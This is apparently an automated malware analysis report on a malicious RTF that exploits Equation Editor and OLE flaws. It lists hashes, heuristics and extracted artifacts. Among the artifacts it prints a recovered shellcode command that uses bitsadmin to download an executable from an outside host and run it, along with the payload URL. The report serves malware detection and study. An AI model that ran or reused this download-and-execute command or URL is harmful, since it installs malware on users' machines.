Malicious RTF — malware analysis report

Static analysis result for SHA-256 deebe4171ddbde94…

MALICIOUS

RTF

121.2 KB Created: 2018-09-01 14:04:00 First seen: 2019-02-10
MD5: 9fcbbeea6aa567e135e3968cd3bb34f9 SHA-1: 672c082eaf7f3887723663050f52fbd02359971e SHA-256: deebe4171ddbde944df07bb48bd5e3ec60b6228ed8a8faae2119b73a3763347b
362 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 (Equation Editor), CVE-2017-8759 (MSXML SAX OLE activation), and CVE-2026-21514 (Word/OLE security bypass). These vulnerabilities are leveraged to execute a payload, likely downloaded from the embedded URL https://b.coka.la/z0YGWB.exe. The presence of OLE objects and embedded files further supports the exploitation for client execution.

Heuristics 9

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514
    RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
  • ClamAV: Rtf.Dropper.Agent-7551773-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-7551773-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://b.coka.la/z0YGWB.exe In RTF body
    • https://b.coka.la/4rVbqg.jpgIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000bbbb.bin rtf-objdata-decoded RTF \objdata at offset 0xBBBB 15956 bytes
SHA-256: 5da28189e0790e9ff49171ab9c430c5d32b38504e2d9f9c38d93fefe27be5331
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://b.coka.la/z0YGWB.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer NT /priority foreground https://b.coka.la/z0YGWB.exe %USERPROFILE%\document.exe && start %USERPROFILE%\document.exe & bitsadmin /transfe
rtf_svb_00003185.zip rtf-svb-package RTF \svb hex-decoded ZIP at offset 0x3185 1774 bytes
SHA-256: 2e49f4fe0b48c06e33c35e8580ee650a70753e345216509b2ef583221f073319

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